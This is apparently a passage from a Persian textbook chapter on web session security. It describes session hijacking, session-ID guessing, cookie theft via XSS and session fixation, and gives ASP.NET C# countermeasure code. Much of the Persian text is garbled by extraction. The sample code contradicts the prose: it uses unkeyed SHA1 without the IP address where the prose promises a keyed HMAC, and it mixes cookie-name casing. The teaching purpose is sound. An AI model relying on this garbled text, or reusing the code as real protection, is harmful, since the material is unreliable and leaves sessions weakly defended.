مورد  یبعد یشناختن کاربر در تمام درخواستها یبرا ین کوکیت است، چراکه ایاحراز هو یموضوع مهم کوک

 httpبه عنوان مثال تحت من یرایت به صورت غیاحراز هو ین است که کوکین حالت ایرد. بدتریگیاستفاده قرار م

 شوند.یر میب پذیجه به شدت آسیمنتقل شود و در نت

 

 : سرقت نشست5-7شکل 

 ر هستند:ین مراحل به شرح زیدهد. ایسرقت نشست را نشان م ٔ  حملهک یمراحل انجام  5-7شکل 

 من(یا httpانتقال اعتبار )با فرض اتصال  ➢
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 من(یا httpsکند )با فرض اتصال یصادر مت یاحراز هو یک کوکید اعتبار. کارگزار وب ییتا ➢

 شود.یز منتقل میت نیاحراز هو ی. کوکhttpدرخواست داده تحت  ➢

 .httpداده تحت  پاس ➢

احراز  ین شامل کوکیرد. ایگیشود، میمنتقل م 4و  3در نقاط  یعنی httpهکر تمام داده ها که تحت  ➢

 شود که کارگزار وب صادر کرده است.یت میهو

 کند.یک درخواست ارسال میت گرفته شده یاحراز هو یاز کوکهکر با استفاده  ➢

 ین هکر و قربانیب ینجا کارگزار وب تفاوتیکند. در ایم یت را اعتبارسنجیاحراز هو یکارگزار وب کوک ➢

 دهد.یص نمیتشخ

 session Hijackingحمله  2-5-7

( Session)سرقت  Session Hijackingیکی از قدیمی ترین حملاتی که به برنامه های وب صورت می گیرد 

 ASP.NETها در  Sessionهندل کردن  ٔ  نحوهبرای آشنایی با این نوع حمله بهتر است که کمی در مورد  است.

مثلا نمایش ؛ برای نگهداری داده هایی به کار میرد که برای هر کاربر منحصر به فرد هستند Sessionپرداخته شود. 

برای  ASP.NETسرور نگهداری میشود.  ٔ  حافظهدر  Sessionصفحات سایت. نام کاربر پس از لاگین، در تمامی 

ایجاد  Sessionمتعلق به کدام کاربر است، مشخصه ای یکتا برای هر  Sessionاینکه بتواند تشخیص دهد که هر 

ر، قرار میدهد. با ایجاد هر درخواست به سرو SP.NET_SessionID می کند و این مشخصه رو در یک کوکی با نام

ASP.NET موجود در این کوکی رو بررسی می کند و از این طریق متوجه میشود که کدام  ٔ  مشخصهSession 

گفته میشود. پر واضح است که اگر  Session IDیکتا  ٔ  مشخصهسرور متعلق به کاربر است. به این  ٔ  حافظهدر 

عملا کاربردی ندارد. به طور خلاصه اگر فردی  Sessionکوکی ها در مرورگر کاربر غیر فعال باشند، استفاده از 

 شما معرفی کند. Sessionبتواند این کوکی رو به سرقت ببرد، به راحتی می تواند خودش رو صاحب 
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برنامه  ٔ  استفاده ٔ  نحوهدر پی دارد به نوع اطلاعاتی که در آن است و  Session Hijackingمیزان خطری که 

 .بستگی دارد Sessionنویس از 

 Sessionتنها برای نگهداری نام کاربری استفاده میشود، سرقت  Sessionبه عنوان مثال، در حالتی که از 

 ٔ  نحوهسودی برای فرد مهاجم ندارد چون تنها چیزی که ممکن است نصیبش شود )که البته باز هم بستگی به 

 دارد( نام کاربری است! Sessionبرخورد برنامه نویس با 

ذخیره میشود با خطری جدی مواجه  Sessionحساب بانکی یا سطح دسترسی کاربر در  ٔ  شمارهاما اگر مثلا 

 خواهید بود.

Session Hijacking :معمولا به دو طریق انجام می گیرد 

 Session IDحدس زدن  (1

 Session IDسرقت کوکی حاوی   (2
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رو تولید  IDبه طور خودکار این  ASP.NETاین مورد به ندرت اتفاق می افتد چون : Session IDحدس زدن 

ها رو خودتون با  IDبیتی و کاملا راندوم هستند. البته میشود تولید این  120می کند و اعدادی که تولید میشن 

بر عهده بگیرید اما این کار اصلا پیشنهاد نمیشود. فرضا اگر روال شما  SessionIDManagerاستفاده از کلاس 

باشد، فرد  SQL Severدر  AutoNumberعدد تصاعدی مثل فیلدهای از نوع  یک SessionIDبرای اختصاص 

 محتویات کوکی ذکر شده، از این روش مطلع شود. ٔ  بارهمهاجم میتواند با بررسی چند 

می تواند یکی از روش هایی باشد که منجر به  XSSدر مورد سرقت کوکی : Session IDسرقت کوکی حاوی 

 سرقت کوکی ها میشود.

 Session Hijackingر مقابله به راهکا 1-2-5-7

بدین شکل که برخی مشخصه  است. Session ID "منحصر به فرد ترَ کردن"راهکاری که میشود استفاده کرد، 

همانند  Hashبه یک الگوریتم  SessionIDرو همراه با یک کلید رمز و خود  User Agentو  IPهای کاربر همانند 

HMACSHA1  رمزنگاری شده را به انتهای  ٔ  رشتهکه یک کلید رو برای رمزنگاری می پذیرد داد وSessionID 

مکان  EndRequestروال  پیاده سازی کرد. HttpModuleفرایند فوق رو به راحتی میشود از طریق یک  اضافه کرد.

نیز می تواند برای  BeginRequestاست. روال  SessionIDبه دست آمده به انتهای  ٔ  مشخصهخوبی برای الحاق 

 وBrowserVersion  و IP addressدر زیر کد مربوط به اضافه کردن  بررسی صحت این مشخصه استفاده بشود.

Browser Platform  به انتهایSessionID  درGlobal.asax :آمده است 

 

 کرده.را گرفته و آن را هش  Browser Platform وBrowserVersion  و IP addressابتدا 

private string GenerateHashKey() 

 { 

 StringBuilder myStr = new StringBuilder(); 

 myStr.Append(Request.Browser.Browser); 
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 myStr.Append(Request.Browser.Platform); 

 myStr.Append(Request.Browser.MajorVersion); 

 myStr.Append(Request.Browser.MinorVersion); 

 SHA1 sha = new SHA1CryptoServiceProvider(); 

 byte[] hashdata = sha.ComputeHash(Encoding.UTF8.GetBytes(myStr.ToString())); 

 return Convert.ToBase64String(hashdata); 

 } 

 

protected void Application_BeginRequest(object sender, EventArgs e) 

 { 

 

 if (Request.Cookies["ASP.NET_SessionId"] != null && Request.Cookies["ASP.NET_SessionId"].Value 

!= null) 

 { 

 string newSessionID = Request.Cookies["ASP.NET_SessionID"].Value; 

 if (newSessionID.Length <= 24) 

 { 

 Response.Cookies["TriedTohack"].Value = "True"; 

 throw new HttpException("Invalid Request"); 

 } 

 

 if (GenerateHashKey() != newSessionID.Substring(24)) 

 { 

 Response.Cookies["TriedTohack"].Value = "True"; 

 throw new HttpException("Invalid Request"); 

 } 

 Request.Cookies["ASP.NET_SessionId"].Value = 

Request.Cookies["ASP.NET_SessionId"].Value.Substring(0, 24); 

 } 

 

 } 

 

protected void Application_EndRequest(object sender, EventArgs e) 

 { 
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 if (Response.Cookies["ASP.NET_SessionId"] != null) 

 { 

 Response.Cookies["ASP.NET_SessionId"].Value = Request.Cookies["ASP.NET_SessionId"].Value + 

GenerateHashKey(); 

 } 

 

 } 

 

 از کد زیر استفاده کنید: Sessionو در نهایت برای بستن کامل 

Session.Abandon(); 

Response.Cookies["ASP.NET_SessionId"].Expires = DateTime.Now.AddDays(-30); 

 

 

 Asp.Netت نشست در یتثب 3-5-7

را به دست  یدهد تا نشست قربانیدرمقابل نشست است که به مهاجم اجازه مک حمله خاص یت نشست یتثب

ک نشست به طور معمول یشود. یک نشست معتبر شروع میجاد یت هدف و ایآورد. حمله با مراجعه مهاجم به وبسا

ک یا به یکند و یه میشناسه نشست ارا یحاو یک کوکیکه برنامه  یگردد: زمانیجاد میر ایاز دو راه ز یکیق یازطر

 شود.یه میشامل شناسه نشست ارا URLک یکاربر

ن نقطه مهاجم یکند. در ایب مین شناسه نشست ترغیرا به استفاده از ا یت در نشست، قربانیمهاجم، پس از تثب

ت ین نشست تثبیدر ا ین پس هر زمان که اطلاعاتیکنند. از ایک شناسه نشست مشترک استفاده میاز  یو قربان

مشاهده کند، استفاده  ید قربانیکه تنها با یش اطلاعاتینما یهم برا یقربان یریمگیتصم یشود، هم براره یشده ذخ

 ده و استفاده شود.یز دیتواند توسط مهاجم نین اطلاعات میشود، ا
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ر قرار ینکه مهاجم بتواند از نشست استفاده کند، نشست را تحت تاثید قبل از ایبا یاست که قربان ین معنیبه ا

ق شده به یمشخص کردن کاربر تصد یره شده که برایک پرچم در نشست ذخید ید. به عنوان مثال، فرض کنده

ره شده است. یز در نشست ذخیاستخراج اطلاعات کاربر ن یگاهداده مورد استفاده براید پاین کلیرود و همچنیکار م

قابل مشاهده  یت که به طور معمولیاز سا ییت شده و بخشهایاحراز هو یماند تا قربانیبعد از آن مهاجم منتظر م

و  یاجازه دسترس یم برایدارند، مثلاتصم یکسانیسطح مجوز  یکه مهاجم و قربان ید کند. تا زمانیست را بازدین

ند، یبیم یکه قربان آنچهشده؛ هر یره شده در نشست کنترل میمشاهده اطلاعات کاربر که توسط اطلاعات ذخ

 کند.یز مشاهده میمهاجم ن


